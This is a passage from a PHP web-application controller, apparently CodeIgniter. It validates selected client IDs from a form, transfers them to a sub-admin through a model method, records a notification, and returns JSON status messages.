        $clients = $this->input->post('clients');

        // Validate that clients are selected
        if (!is_array($clients) || empty($clients)) {
            $response = [
                'status' => false,
                'message' => 'No client selected. Please select a client before updating.'
            ];
            echo json_encode($response);
            return;
        }

        // Call the model method to transfer clients
        $result = $this->subscriber_model->transfer_to_subadmin($clients);

        // Check the result and prepare the response
        if ($result) {
            if (!empty($result['transferred'])) {
                $response = [
                    'status' => true,
                    'message' => 'Clients transferred successfully.'
                ];
                $clientCount = count($result['transferred']);
                $this->Notification_model->add_notification(
                'New Transferred Leads',
                'New lead transferred for follow-up',
                'sub-admin',
                $clientCount
            );
            } else if(!empty($result['already_registered'])){
                 $response = [
                    'status' => false,
                    'message' => 'No new users were transferred. Selected users are already transferred to sub admin.'
                ];
            } else {
                $response = [
                    'status' => false,
                    'message' => 'No new users were transferred. Selected users are already transferred.'
                ];
            }
        } else {
            $response = [
                'status' => false,
                'message' => 'Transfer operation failed. Please try again.'
            ];
        }

        // Return the response as JSON
        echo json_encode($response);
    }

}